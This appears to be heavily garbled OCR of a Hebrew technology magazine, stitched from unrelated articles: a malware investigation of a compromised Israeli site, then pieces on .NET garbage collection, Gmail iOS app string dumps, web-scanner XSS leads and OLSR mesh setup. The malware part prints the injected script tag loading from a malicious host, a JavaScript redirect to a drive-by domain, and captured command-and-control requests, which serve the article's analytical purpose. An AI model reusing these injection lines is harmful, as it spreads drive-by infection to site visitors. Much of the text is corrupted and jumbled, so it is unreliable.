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tabindex=9>

<option value="" selected> - pUph MW - </option>
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</title><script src="http://zon.menotepoer.com/ ("> </title><script

v
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<option value="2-2 p<"332871-1 : "> </titledx<script
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<option value="3-_-374443">31p : "> </titlex<script
<ftitle><script src="http://zon.menotepoer.com/ ("> </title><script
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<option value="3-3 p<"3654751 : "> </title><script
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Technical information Gathering

:Reconnaissance NXp TX ,TIY I NN 711 207 AT van

M0 nann :lp2location .1
YN 7Y D'NIRNNN DINKR DINKX INXND X7 (Yougetsignal .2
['"'AITA 7Y Mvn NN NN K7 DY IIRE YT CIRYD X7 DINRD 2N TRR [T %Y :Whois .3

XAN YT'NN DK 1IRXN IWUn

Created: 2012-10-08

Expires: 2013-10-08

Registrant Contact:
Privacy-Protect.cn
Henry Nguyen Gong
+33.0466583875 fax: +33.0466583875
26 Rue Jean Reboul
Nimes Languedoc-Roussillon 30900
fr

|7 7w AN 7Y nopnAn 1T 197 oMt YW TTIA 19010 WO 'MITnw 17 n'y
.TCP -0 nnMa naiy X7 nwin - Nmap .4
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VM-nn 'my7a1 HotSpot- IMIxX 'M7yon ,(0'nn IP '12'w7 Ni) [19X790 NX 'MNp? ,XP 7w VM 'nn1n
-1) 'M7u9n X Java 7'von7 ann wp'a WNXN .Internet-Explorer 8.0 [9T9TN DY [T 7w MNK7 DT
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System Tasks

a Yiew system rformation

.‘omuvmova:ooovws °3Vnruseslom\d

D, Change a settngs

Hard drive

-

Other Places . Hard drve (C:)

Vi found
\QW MNetwork Places Q 3 viruses fou

£ M Documents Security
= Shared Doouments Windows Securky
indows Secur
G Control Panel
B ] 3%
Checkng: C:\Documents and Settngs|All UsersiAppication DatalProplyeged:32.con
omputer is infected ] © WARNING

Name Threat level
2 Trojan-Downloader.Win32 Lipler.bkue Critical

L R ST ] ‘e [V .

® Interne:

-X7w-01N'I-'0IX NDIN 7Y NP0 NN WK'79 [10002 NAITN ,KYIID NXp7 70VNnvy m7 i Ty

Yl 7v nTIN7 NN TMYN DT AxX'NY? 73 ,N0wna 0'oN!' NINXAN 7Y nynnnn nn"'p-nnxa

2 NXM yalpn ,Scandsk.exe DwA

scandsk.exe

‘Wireshark-2 'nu7pnw n910n2 V7PN '7NNN 7W IYXRIN 7700 NaN

GET /%20%20 HTTP/1.1

Accept*/*:

Referer: http://dan.co.il/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: zon.menotepoer.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 10 Oct 2012 22:54:55 GMT
Content-Type: text/html

'WTIN-'wUoIN D'ON'I
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Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.17-1~dotdeb.0

window.top.location.replace ("http://tre35ngth.rr.nu/n.php?h=1&s=s1");

21Tt NKY I'T 7¢ ANRNNn 'MIK avnn PHP 5.3.17 nota oy nginx NIY21 NIy a7 mv

.90 NIIXR'A NIYXNNA

helm N RIBLTI)

D'-VM nnd7 INIX 101N ,(671 kb) EXE-n NX N7 n'7nnini (cp77fkdr) 7'oX7 |"avn 75 1K 'M19'0
,Tcpview ,Wireshark :Dn nunnwn ona 0'7Dn .0 DY Davwnn 7y Windows XP 7w

.EchoMirage-1 ,BurpSuite ,Strings ,010Editor ,Olly ,Processexplorer ,Procmon

N¥M 170N NN DYNN NIRYAN NP TaN Pannn? N1017 NN 7Y DWn MY NN2INN 727 :n1wn

Y270 7Y nInannn 707 XN

TR ,TYUN Y00 27 NIRAT DTV DR TAN) MIYWPN Nz Tal Wirehark 71 0770 naiwkd nxn e
.('"dIANE 2m R TN NoM KXIN DXRNL,NLVYYN NIYY NavIin VTN

TINT .INX"M NPODIN N¥M 7Y NIET 1901 TNR7 ,CPU 90%-100% 05NI ,y1 "N 7192 NXXINN

NIN D DNT RINY DNTD NIYRIN DAVNNN D71 ,NIYY7 1IN XINY NN NNRA X7 IR1IN 7DD

MDA MIIANINN DX NY'Y XIN |3'7I npe'1a 122 1901 7w NIRYNN IXK VM-2 Y2

Yalzn 7¢ mianinn v niTpnnna 7pn? myne 0no?'s oy Procmon 77 Ny XN e
.'9'¥90N
Procmon 7w D270 7y Naynn .inxy DX 7NN NIMAY 1500 INKRY7E Y 790 19 ARYINN

:MIYNIN XN YN NN DR NNRY 110780

' iReglpenkey HELM\SOF T'WARE \Micro dows\Currentversion\Unins wark
RegClosekey HELMASOF TWARE \Microsolt\Wwindows\CunrentVersion\Uninstall\Wireshark SUCCESS
Bt RegOpenkey HELMASOF TWARE \MicrosoltVwindows\CurrentVersion\ i pp Paths'wireshark exe SUCCESS Desired Access: Read
FRegClozekey HELMYSOF TWARE \WMicrosoft'/indows\Currentersion A pp Pathswireshark. exe SUCCESS
#% Reglpenkey HELMASOF TWARE \ZuSriffer NAME NOT FOUND Desired Access: Read
% Reglpenkey HELMASOF TWARE \Cygwin NAME NOT FOUND Degired Access: Read
RegOpenkey HECUANSOF TWARE WCygwan MNAME MOT FOUND Desired Access: Read
ﬁﬂegﬂ penkey HELMASOFTWARESE Labs\Bopup Dbserver MAME MOT FOUND Desred fccess: Read
% RegDpenkey HKCUNApPE vents\Schemes\Apps\Bopup Observer MNAME NOT FOUND Desired Access: Read
% RegDpenkey HECUAS oftwareh\B Labs\Bopup Observer MNAME NOT FOUND Desired Access: Read
gFIegﬂ penkey HELMYSOF TWARE \Microsoft'w/indows\Currentersion U ninstall\in Snaffer_is1 MAME MOT FOUND Desired Access: Read
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L7 0URY D'70'w 07D 0 7D 7w Mapnin? DTy wonni Muo'ana 0y 190n v aw 'on
NIXYY? [N1IY NIANINNA N2AITNA .719'7 Y¥an KN - N7 072 KXIN NI NT'NAY AN NN

vTvo" on' 791 vynd

22 7V 11M2YW INKYT MINIMAN IR XN L0000 N NN 1Y 12D L, Y210 7Y 'YW xana
-1 ."File not Found" N'TN' DNW XTI D'MYRNAN D70 NN'WID O'RYNIY 0¥ NINNOAN
yv'oin X7¥ Sniffer nx1n awn VM-a1,(nxnn awnnn 7v) yinan Wirehark nx 11¥1n TNk VM

.0'M"NXNN 0'720 N'YIa

17w DOYYUN MY DY IWPENYT 00N INWA0 NNINA ANINN NN 910 910 V192 AXXINN

[bestination
92.168.1.5 46.105.131.121 TCP

AE 1TAE 121 19 TR 1S 1 € TN

4 7! Follow TCP Stream -0l x|p

66 cyc > http [SYN] Seq=0 win=64240 Len=0 M5S5=1460 wsS=1

GE hrrin v s Town Arv]l caman Ark ol WS noARE2E | an=0 MS

-Stream Content

GET /?3w?9y20=%96%9E%02%D5%A4%D9d§€D2%QB%QGXQE%AQk%DD%AB%QF%QGh%QC%QD%QBXDE%A?%DQg%'Btt_%QC%

81 %D 3% 7 HAF %OE_%F OXABMHBE IXDEXC SHBFXIBHE 9%07%D 5%Ad THADKAL 1 XODXDFRATHCCNEICHD I%E0HCEXCAXI 9%

I 0%0A%02%A0KBL%OE 1 ¥BD2%7 BXBLhUXB 7 % ABKA3 KACKAT KBAr ¥EOKAB | ¥OCKAOWHRACKAS PXOB 1 %7 CHRADCHADHATH

I?sg%alS%96?;:1?&0%&0%9DC%A?gk%AQb%GO%AZ%Q SHALHOFKA2HAL XS EXRALXOT a%0OHOTHADKBA HAS 1%05ag%OCk HAA
B HTTR/L.

Host: report.qglig3ws9el7k3yws31. com

User-agent: Mozilla/4.0 (compatible; MSIE 8.0; Trident/4.0; .NET CLR 2.0.50727; .NET CLR

[1.1.4322; .MNET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .MET CLR 3.5.21022; .NET CLR

3.0.4506.2152; .NET CLR 3.5.30729)

HTTP/1.1 301 Moved Permanently
server: nginx

Date: Fri, 19 oct 2012 23:13:58 GMT
Content-Type: text/html
Content-Length: 178

connection: keep-alive

Location: http://www.bing.com/

<htm1>

<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">

<center><hl>301 Moved Permanently</hl></center>
<hr><center>nginx</center:>

</bod¥>

</html>

HEXATKXDDA
0 Len=0

L en=0
874 Len=
Len=0
640 Len=
L en=0

:NAINDA XXM MW7 GET nypa N7v XIN ,NIXKT? NN NIV NN

report.qglig3ws9el17k3yws31.com

nMywnn TTIN IR [9XIN AKX VTN TR |NKX )Y OV TR NINwn n7710 nnxy nYpan

,NINY7 N DTPIM N'NY NX11D L, |9IX yhoh! JYOUN Yalheyn QY Aynnn 7V 1150 VY9N NAITAY AN

My 7Y mwn .(?0TIznn 0NRIT) Bing 7w ANX? nnavnn nal 301 Nt 727 RINNY NIYNN

NI'XOIXR

o"ion [NV D'MIY 1IXR DX PTIA ,DNIXR 1IN / |oNXN ,0"MUNTION NKR '7J|7YJ mwn .1
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Address | Hex dump A
HET 400 HE HE HE HE HE FE HE HE bW b HE HE BE B B0 B8 -
EEl40042 87 8@ 52 B8 CE 67 1B BE 77 77 7F 2E &F &F &F &7
EEl400Es| 60 65 2E &2 65 ZE 30 37 37 2E 31 32 85 ZE 38 37
EEl400E=| 2E 21 24 29 B0 HE HE HE HE HE HE HE HE FE EE FE
HET4A007Z| B8 B8 B8 B 00 B0 BE BE @7 BE @7 @8 D3 67 1B B@
EEl4nnz:z| 67 6F 6F &7 &6C &5 ZE &3 6F 60 2E &2 72 ZE 20 37
gEl4009s| 37 2E 21 22|25 2E 28 27 2E 21 3@ 29 B0 HE HE AB
@El400AS| HE AE HE AE|HE FE EE FE B8 68 B8 08 B8 08 80 08
cal400ES| 82 @@ &7 a8 0E a7 1F @8 77 77 7F 2E &r &E &F &7
gEal4bDCE| 6C 865 2E 63| 6E el 2E 62 72 2E 30 27 27 ZE 21 32
GEl4000s| 35 2E 28 37| 2E 21 25 20 68 AE AE BB AE FE AE AE
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HE140E1Z| B8 AB AB HE HE HE HE HE HE FE EE FE EE FE EE FE
HET40EZE| B8 8@ BE BE 00 B0 BE BE B B @7 @8 AF 67 1B B@
4 r fr fr 2E &F &F &F &7 &6C 65 ZE &3 61 2E 20 37
4 37 2E 31 32 35 2E 38 37 ZE 21 35 33 BE HE HE HE
4 HE HE HE HE HE FE EE FE BH HH HH HE BE B B0 &@Q
4 HY HE B BE A4 87 IF 8@ &7 &6F &6F &7 6C 65 ZE &3
4 o8 2B 20 27 2r ZE 21 22 25 2E 38 27 2E 21 25 3%
4 68 HE AE AE AE FE AE AB AE FE EE FE EE FE EE FE
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4 HY HE B BE 28 87 IF B8 &7 &6F &6F &7 6C 65 ZE &4
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Bing

Yahoo

www.google.be

www.bing.com

search.yahoo.com

www.google.br gr.bing.com gr.uk.search.yahoo.com
www.google.ca ir.bing.com ir.uk.search.yahoo.com
www.google.ch gb.bing.com uk.search.yahoo.com
www.google.de dk.bing.com dk.search.yahoo.com
www.google.dk au.bing.com au.search.yahoo.com
www.google.fr ro.bing.com ro.search.yahoo.com
www.google.ie ca.bing.com ca.search.yahoo.com
www.google.it pt.bing.com pt.search.yahoo.com
www.google.co.jp it.bing.com it.search.yahoo.com
www.google.nl de.bing.com de.search.yahoo.com
www.google.no es.bing.com es.search.yahoo.com
www.google.co.nz tr.bing.com tr.search.yahoo.com
www.google.pl hu.bing.com hu.search.yahoo.com
www.google.se br.bing.com br.search.yahoo.com
www.google.co.uk cz.bing.com cz.search.yahoo.com
www.google.co.za ch.bing.com ie.search.yahoo.com
www.google.gr nl.bing.com ch.search.yahoo.com
www.google.ro se.bing.com nl.search.yahoo.com
www.google.pt no.bing.com se.search.yahoo.com
www.google.es at.bing.com no.search.yahoo.com
www.google.com.tr fi.bing.com fr.search.yahoo.com
www.google.hu fr.bing.com pl.search.yahoo.com
www.google.cz pl.bing.com mx.search.yahoo.com

www.google.at

www.bing.com

www.google.fi gr.bing.com
www.google.co.in ir.bing.com

www.google.com.ar gb.bing.com
www.google.be dk.bing.com
www.google.br au.bing.com
www.google.ca ro.bing.com
www.google.ch ca.bing.com
www.google.de pt.bing.com
www.google.dk it.bing.com

www.google.fr de.bing.com
www.google.ie es.bing.com
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www.google.co.uk no.bing.com
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www.google.es

www.google.com.tr
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www.google.fi

www.google.co.in

www.google.com.ar
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www.statcounter.com
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,MY 199 71'"T2 DONIDY ,Kaspersky 7w A1722 ,Xan VOIS7 VAN ,NIN"IT 190N W AXMP INXRY
:2011 "ok

http://www.securelist.com/en/blog/208193187/Ongoing analysis of the web infection

N'THYA DNNKR 7W 20 190N 1¥191 ,N9IPNN ANIRA ,David Jacoby pinn "y andiw 00190 '9Y
17w Nppna D 1rTa - "Javascript redirectors” DN DIONINAN DNKRN 72V DENIALEDARINNN

:AND NNVANRN PIN 21722 ,0T NI

"What we know is that they are injecting the code via an SQL injection,
but whether the vulnerability is poorly configured servers, or a zero-
day vulnerability is still unclear."

'07192 .SQL Injection YT "Javascript Redirector"-n Np1Th - |T 7w YNK2 1'RY NN pIrTA DT
Flash-n 2277 12TV DTN DnMa (I'01 12'A A9'PNN 0PI D LJacoby a'yn ,"MN1AN 7w MzNn
7217 D 12D YIT X L,D'0N'I-'0IX NP0 NIDINA NI 178K ,YA910N TIZn KX¥XN] 121 AWNnin 7y

.N9'PNN 770N 702 ND7NN-NN2 1A N2 DI YWD 1K DNIRY T

AXIN ,0VOI9N JWNNDL[XD 1NA1 K7 N7YW NN |27 DNPIN '07190N NNANNY NZnn |2 (M Tn
NNIXY DINXD DNIXR 7V D'W'OYN 7 X7¥ 0D 0'0N1 Hosts-n yaly NX 1Y Yaonn yaipn D
MY 09017 7w a1711 1y'Inw IP-n NIamd 21 P niumd nixX? 01on gx X7 17X A

.N7¥ M1 DA 0Ww'om 27 0TIR
| B -

Ongoing analysis of the w ‘;ﬁu \

57 www.securelist.com/en/blog/208193187/0nc [ | ‘D

[redirected domains]

m,

4 [T ] G

[Kaspersky 7w 21722 David Jacoby 7w voI9Nn IP-n NIAIMD]
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//Deterministic (but manual) cleanup of resources - C++ style in C#
public class FileWithManualCleanup
{

public FileWithManualCleanup (string filename, ..)

public void Cleanup ()
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//Naive - and WRONG - attempt to mark gen 0 objects only
Mark (obj) :

if gen(obj) <> 0 then return

if visited(obj) then return

mark obj as visited

for each reference field of obj do

Mark (field)
end for
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NITTI2 NADA NITIEZO 19012 N2 7192 7' ¥nwa [112NnY NiNnY?

; Compilation output for a.f = b, where a is in eax, b is in ecx,
; and £ is at offset 0x12 from the beginning of a

cmp eax, dword ptr [GENO END]

Jjb write through

cmp ecx, dword ptr [GENO END]

Jjg write through

mov edx, eax

shr eax, 8

mov dword ptr [TABLE START+edx], 1

write through: mov dword ptr [eax+12], ecx

220 0'NA 1024-7 nn'knnin N0 0010 ,0 IT? 2 IX 1 1IN YIaxXn XN TWKROYW XD NIvAvwnn
215" XIn,0 T W qI0'R VXA 721N QOIN TWXD NYD .OXNN2 NDTIVA 2NN VR AIRD 7¢ NAIMDN

:N7202 NI0'ON NIX [INQ7 1'7Y QOINAW K7KX L [IN'07 DTIF AXINY A'XIN DONMIYRN DY INYUNT?

for 1 = 0 to tablesize do
if table[i] == 1 then
p = start of 1KB range covered by table[i]
J =0

while j < 1024 do
//Assume the 1KB block always starts with an object
//and is not in the middle of a previous object
Mark (object at p+3)
j += size of object at p+tJ
end while
end if
end for
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Strings analysis

Analysis of Strings found in the executable

SQL Strings

1 11387 SELECT EXISTS ( SELECT 1 FROM 's' WHERE text=7?);

2 11388 SELECT data FROM tiles_table WHERE id=7?;

3 11389 SELECT data, storage_type, path FROM 's' WHERE text=?;

4 11390 SELECT storage_type, path, text_type FROM 's' WHERE text=7%;
5 6810 DELETE FROM 's" WHERE text=?,

6 8840 INSERT OR REPLACE INTO 's' values (2,7,2,2,7);

7 8850 INSERT OR REPLACE INTO tiles_table values (d,?);
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b

CFBundleVersion = "1.3.3663"
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ApplyVoucherResponse
ApplyVoucherResponse_Builder
AttachmentManager
AuthenticatorProte
AuthenticatorProto_Builder
AuthenticatorRoot
AuthSubRequestProto
AuthSubRequestProto_Builder

RA i idae

GaiaCachedUserPreferences
GaiaCachedUserPreferences_Builder
GaiaCapabilityRecord
GaiaCapabilityRecord_Builder
GaiaGroupProto
GaiaGroupProto_Builder
GaiaKey

GaiaKey_Builder

GaiaMint

GaiaMint_Builder
GaiaMintCredential
GaiaMintCredential_Builder
GaiaMintUserCredential
GaiaMintUserCredential_Builder
GaiaNotificationSettings
GaiaNotificationSettings_Builder
GaiaPropertyRoot
GaiaServiceCookieProto
GaiaServiceCookieProto_Builder
GaiaServiceData
GaiaServiceData_Builder
GaiaServiceKeyConfig
GaiaServiceKeyConfig_Builder
GaiaServiceKeyConfig_GaiaServiceKey

A|B|CIDIE[GIH[IJILIMINIOIP|QIRIS|TIU|VIWIX]|_

GTMOAuth2Signininternal
GTMOAuth2ViewControllerTouch
GTMRegex
GTMRegexEnumerator
GTMRegexStringSegment
GTMSQLiteDatabase
GTMSQLiteStatement
GTMStringEncoding
GTMURLCache

HostProto
HostProto_Builder
Htm|Document
HtmlDocument_Builder
Hem|Element
HrmlElement_Builder
HemlPath
HrmiPath_Builder

IframeLoginViewController
IframeLoginViewControllerDelegate
Image

GaiaServiceKevConfio GaiaServiceKev Builder Imaae Builder

™

— }

Co no Result

1 Clear

Q

PackageData_Builde
PanGestureDelegat(
PBArray
PBCodedinputStrea
PBCodedOutputStre
PBConcreteExtensic
PBDescriptor
PBDescriptor
PBDescriptorProto
PBDescriptorProta_
PBDescriptorProta_
PBDescriptorProto_|
PBDescriptorRoot
PBEnumDescriptor
PBEnumDescriptor
PBEnumDescriptorF
PBEnumDescriptorF
PBEnumOptions
PBEnumOptions_Bu
PBEnumValueDescr,
PBEnumValueDescr,
PBEnumValueOptio
PBEnumValueOptio/_
PBExtensionDescrip *
PRExtensionField 7
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Class List Class Index | Class Hierarchy m

All Variables ‘ Properties |
blc|d e|f h|i|j[k[1|m nfoe rls |t
'IIHI“\II'III\I\"I"\I
v GmailHybrid_app m
Strings analysis
» Info.Plist Content 2
» Embeded Strings ¢ accountChanged: : SideLabelTopMenuView
+ Classes ¢ accountsCount : GmailAccountManager
& accountsHost : GTMOAuth2Signininternal
b Class List * accountWithEmail: : GmailAccountManager
p Class Index  actionSheet:clickedButtonAtindex: : ExternalUrlViewController , GIPWebViewActionMenu , <UlActionSheetDelegate>
» Class Hierarchy * actionSheet:didDismissWithButtonindex: : <UlActionSheetDelegate>
 actionSheet:willDismissWithButtonlndex: : <UlActionSheetDelegate>
¥ Class Members * actionSheetCancel: : <UlActionSheetDelegate>
» All v o addAccount: : GmailAccountManager
v Functions + addAllBoolValues: : <PBMessageSignatureProtocol>
» addAllDataValues: : <PBMessageSignatureProtocol>
_ ¢ addAllDoubleValues: : <PBMessageSignatureProtocol>
b o addAllEnumValues: : <PEMessageSignatureProtocol>
c » addAllFixed32Values: : <PBMessageSignatureProtocol>
d s addAllFixed64Values: : <PBMessageSignatureProtocol>
» addAllFloatValues: : <PBMessageSignatureProtocol>
G * addAllCroupValues: : <PEMessageSignatureProtocol>
f ¢ addAllint32Values: : <PBMessageSignatureProtocol>
 addAllint64Values: : <PBMessageSignatureProtocol>
s » addAlIMessageValues: | <PBMessageSignatureProtocol>
h  addAllSFixed32Values: : <PBEMessageSignatureProtocol>
i . » addAllSFixed64Values: : <PBEMessageSignatureProtocol> .
i v ¢ addAllSInt32Values: : <PBMessageSignatureProtocol>

Go no Result

S Cear | /@ADDSPC %
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Main Page Related Pages Classes Q- Search
Class List Class Index Class Hierarchy Class Members.
an | Functions m poeries |
a I m o rls|t|u|v|w|x
I\JL O R I I R I e B
» Info.Plist Content
» Embeded Strings * capacity : PBArray L
* _count : PBArray M
¥ Classes « _data : PBArray
» Class List « _fieldl : _NSRange , in_addr , sockaddr_in , XXStruct_kFm5bA , UIEd, s , P Description , XXUnion_oE80iC , XXStruct_9vfspD ,
» Class Index XXStruct_bTBt8C
» Class Hierarchy ® _field10 : XXUnion_oE80iC , XXStruct_9Vf8pD
e _field11 : XXStruct_9Vf8pD , XXUnion_oE80iC
¥ Class Members * _field12 : XXUnion_oE80iC , XXStruct_9Vf8pD
» All » _field13 : XXUnion_oE80iC , XXStruct_9Vf8pD
CEEED e _field14 : XXUnion_oE80iC , XXStruct_9Vf8pD
o _field15 : XXUnion_oE80iC , XXStruct_9Vf8pD
v Variables » _field16 : XXUnion_oE80iC , XXStruct_9Vf8pD
_ o _field17 : XXUnion_oE8oiC
5 e _field18 : XXUnion_oE80iC
e _field19 : XXUnion_oE80iC
b * _field2 : XXUnion_oEBoiC , XXStruct_bTBt8C , sockaddr_in , UIEdgelnsets , PBExtensionDescription , XXStruct_9Vf8pD , NSRange ,
c XXStruct_kFm5bA
d * _field20 : XXUnion_oE80iC
+ _field3 : XXUnion_oE80iC , sockaddr_in , UIEdgelnsets , XXStruct_9Vf8pD , PBExtensionDescription , XXStruct_kFm5bA
= » _field4 : XXStruct_9Vf8pD , XXStruct_kFmS5bA , XXUniunJ)ESuiC , sockaddr_in , UIEdgelnsets , PBExtensionDescription
f + _field5 : XXUnion_oEBoiC , XXStruct_9Vf8pD , sockadd , PBE i ription
g » _field6 : XXUnion_oE8oiC , PBExtensionDescription , J()(Slrucl _9VFSpD 'S
h » _field7 : XXUnion_oEBoiC , XXStruct_9Vf8pD
+ _fieldB : XXUnion_oE8oiC , XX5truct_9Vf8pD —
i « _field9 : XXStruct_9Vf8pD , XXUnion_oE8oiC )

P L R LT TN P —

Go no Result
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:Tampering \ Injecting NI9NN NAIVYT ,NdWNN 7 D'OXNN 7D NAx¥N

Main Page | Related Pages Classes

(Class List | Class Index | Class Hierarchy Class Members

All ‘ Functions | Variables Properties

» Embeded Strings
v Classes m
p Class List

» Class Index

b

SR

“‘“‘“‘W“‘

accessToken : GTMOAuthZAuthentication

account : GmailNotificationSettingsChange
addAllValuesSel : PBFieldDescriptor
additionalAuthorizationParameters : GTMOAuth2Signin

p Class Hierarchy
v Class Members

> Al additionalTokenRequestParameters : GTMOAuth2Authentication
» Functions addValueSel : PBFieldDescriptor

allowlnsecureAuthorization : TOPAuthManager
» Variables allowRTLLayout : GmailNativePlusNavigationitem

appDisplayName : GIPFeedback

applicationName : GIPNativeURL

appName : GIPCrashReportController , GIPCrashReportData , GIPFeedbackCollectedData
appVersion : TOPUpgradeNotifications , GIPCrashReportController , GIPCrashReportData
arrowState : MoreMenuButton

assertion : GTMOAuth2Authentication

attachLogs : GIPCrashReportController

authentication : TOPAuthManager , GTMOAuth2ViewControllerTouch , GTMOAuth2Signin
authManager : GmailAuthenticator

authorizationEmail : GTMOAuth2Signininternal

authorizationQueue : GTMOAuth2 Authentication

authorizationTemplate : GTMOAuthZSignininternal

authorizationURL : GTMOAuth2Signin

w Properties

Q Search

j A authorizer : GTMHTTPFetcher , GTMHTTPFetcherService
L
Go no Result
. Clear

. @ADDSE‘C :
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Main Page Related Pages Classes | Files ‘

10721 Lydian
v MESSEHQET_EDD 10722 L

10724 MFMailComposeViewControllerDelegate
b Info.Plist Content 10725 MKAnnotation

- 10726 MKCircle
Embeded Strings 10727 MKMapViewDelegate
10728 MKReverseGeocoder
piClasses 10725 MMMLMDMMHRMDMoo<<<<<
» Files 10730
10731
10732
10733
10734
10738
10736
10737
10738
10739 MQTT Connected: %@
10740 MQTTClientManagerConnectedChanged

10742 MQTTManager
10743 MQTTMessageSender
10744 MQTTPublisher<ip> %¢ success %@ failure %& timeout %f timeoutBlock %€
10745 MQTT RECV

10746 MQTT SEND

10747 MXPAZ

10748 MYP<Z

10749 M'xD

10750 Main Panel

10751 Malayalam

10752 Malformed repeat

10754 Managed Object Thread Violation! YOU CANNOT IGNORE THIS!!!
10755 Mandaic

10756 MapViewController

10757 Mark as Unread

10758 MarkSeenMethod

10759 MarkThreadMethod

10760 Market

10761 Match

)i
Strings analysis 10723 M758(?:28(4-7]|364|4(2:6[01)8[4-9]) [5(?:1[89]120184) |7(?:1(2-9]12(0-4]))\d{4}

10741 MQTTListener<ip> %@ once only %d message %8 timeout %f timer %€ timeout block %@

10753 Managed Context save failure! This is CATASTROPHIC! Do not ignore this, look at it or get somecne to look at it!

Q Search

Go [no Result
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e Clairvoyance — source code divination

JSP ASF ASP.NET

IprT jsp

X

g0% | Strmg mputl0l = request.getParameter{“deser#);

70% | conection conn = Driveldanager.getConn ection(* [commection -sbrmg]#);

70% | PreparedStatement Sglstatement18 = conn.PreparedStatement(*TJTPDATE tabell8 SET target_field18 = : WHERE [con ditions]*);

Complete Analysis

70% | Sqlstatementl8.zetitrms(l, mputlS);

70% | Sqlstatementl8.executeUpdate();

i qut.printh { mputd01 §;

i Strmg outputS = request.getSession().getitribute( SessionAthributes1);

i Shrmg output2d = request.getessimn(l.getAthibute( SessionAtiribute24);

i Strmg output) = request.getSessiong). getAtribute] SessionAttribute0);

i out.printh (output51);

Show Decision Path

i qut.printh (output2d);

i out.printh (outputd);
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Tasks 7 Leads

¥ [ | (&5 Tasks - Leads
» D [ﬁ Direct Input Reflections (Potential XS5, CRLFi, Redirect, Etc)
» D [ﬁ Session Input Reflections (Potential XS5, CRLFi, Redirect, Etc)
> D [ﬁ Session Exceptions (Potential Injections, Etcy
v D [E Persistent Input Reflections (Potential XS5, CRLFI, Redirect, Etg
D E] @ spuzzlemallsprivatesbuypuzzle jsp—-= goypuzzlemall-privatevieworder

E1S T

Advisor
username

spuzzlemalldogin jsp

v [E Analysis Results
> [ﬁ Reflected Input Values (Potential X55,CRLFi,Redirect
> ﬁ Exception-Generating Scenarios (Potential Injection;
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J History = T Search S, T Break Points 34 T Alerts [0 I Active Scan 2 T Spider 5 T Brute Force /7 T Port Scan | T Fuzzer 4} T Params [ T Output ]

" Filter-OFF

1 GET hitp: «slocalhost: seserpuzzlemallscontact jsprorigin=USA 200 OK
4 hitp: «slocalhost: sesespuzzlemalldogin jsp

5  GET hitp: «localhost: sesespuzzlemallsprivateviewprofile jsp w0 OK
7 GET hitp: «slocalhost: seserpuzzlemallsprivatesmainmenu. jsp w0 OK
g GET hitp: «slocalhost: seserpuzzlemallsprivateviewpuzzles jsp w0 OK
s GET http: +[localhost: soso-puzzlemallsprivatesbuypuzzle jsprid=z2&descr=transaction w0 OK
1w GET hitp: «slocalhost: sesespuzzlemallsprivatesbuypuzzle jsprid=2&purchase=truesdescr=transaction w0 OK
11 GET hitp: «slocalhost: seserpuzzlemallsprivatevieworders jsp w0 OK

| Alerts g i1 [z Py

{ History = T Search S, T Break Points 3¢ T Alerts [ T Active Scan 2 T Spider 3§ T Brute Force /° T Port Scan T Fuzzer i T Params - | | Output

Site. Uoca\nast. 5080 .vj

Type ‘ Name | Used |9Va|ues | 3 Change | Flags |Va\ues

Cookie JSESSIONID 4 2 8 session E2DB1FC28D0s5DASELIB7TFCCCAEFD443F, 531926B285B4BE28B6574617FC4A200D
FORM password 1 1 [] guessme12321

FORM username 2 1 o userl

URL descr 2 1 o transaction

URL id 2 1 o 2

URL origin 1 1 ) UsA

URL purchase 1 1 ] true
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Exploring Different Paths of Execution

Behaviorin Different Authentication Modes and History Perquisites

Request#1
Request#2
Login-Request

Request#4
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String inputl = request.getParameter ("inputl");
session.setAttribute ("sessionValuel", inputl );

[Session-2 INIX jonxNI W 72nn 9]
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out.println (session.getAttribute ("sessionValuel"));
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! White space radio by Carlson @ 470 MHz - http://www.carlsonwireless.com/products/RuralConnect.pdf
? Frequency-hopping spread spectrum - http://en.wikipedia.org/wiki/FHSS
* OpenBTS - http://en.wikipedia.org/wiki/OpenBTS
* N'VOIX MIWN - http://en.wikipedia.org/wiki/Free-space _optical communication
> n'¥71Tin spread spectrum - http://en.wikipedia.org/wiki/Spread spectrum
® FCC white-space decision - http://hraunfoss.fcc.gov/edocs_public/attachmatch/FCC-08-260A1.pdf
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http://www.carlsonwireless.com/products/RuralConnect.pdf
http://en.wikipedia.org/wiki/FHSS
http://en.wikipedia.org/wiki/OpenBTS
http://en.wikipedia.org/wiki/Free-space_optical_communication
http://en.wikipedia.org/wiki/Spread_spectrum
http://hraunfoss.fcc.gov/edocs_public/attachmatch/FCC-08-260A1.pdf
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http://taproot.org.il/content/presentation/isdcwn/2012/is4cwn-2012.tar.bz2 :013nn X V7'M Naxn’
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http://wirelesssummit.org/
http://wirelesssummit.org/
http://en.wikipedia.org/wiki/.cat
http://olsr.org/
http://www.open-mesh.org/
http://www.bmx6.net/
http://taproot.org.il/content/presentation/is4cwn/2012/is4cwn-2012.tar.bz2
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root@OpenWrt:~# opkg update && opkg install olsrd
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.olsrd.conf
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Network
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http://wiki.openwrt.org/toh/start
http://wiki.openwrt.org/toh/start
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NIK7A NV NI7ID' NAWNL YPWIN 21 YARN ,802.11 21710109 11V NNNINN (1A NMd2A AN Dy
-7 71wn NiFfM% "2an NNIyn V%I 2awn 12 monitor TN N2'AN NIANY LMD 22w N7IYD 'OIX 7Y
T AKX DY DY TWONNAN mesh Tin IR AP K77 nwn 1ix'? ©'woxnn ad-hoc T ,access point

"INN'W" DYPYINY YANNN NIMNdN OYINNYT D2 ]190 017N VXA DN? DNAYMTN NiNda v'an?

DNIQ'X'I DN'WYIX DY ,NIND T INNIDY DT 9 TVIY |]aind .802.11 1iay nNNIdY I'TIN NNnin

AINKT7 1I0TIINY 17XD 19 7Y 09Ty

:D'W770 NINNN NP NN DY 1201 n71Y9 Ny olsrd Nw 7w ('7'7n) 0791 Iy

# olsrd -d --config ./olsr.conf

*** olsr.org - 0.6.2-git dl4ce85-hash 122963f7£79c8c44d97e9af319b969ff - **x*
Build date: 2012-03-12 04:00:03 on openwrt-test-node-01

http://www.olsr.org

Debug level: 1
IpVersion: 4 #1

NIC Changes Pollrate 3.00
FIBMetric: flat
Hysteresis disabled

TC redundancy 2

MPR coverage 3

Link quality fish eye 1 #2
LQ Algorithm: etx ff #3
setting ifs in curr cfg = 0

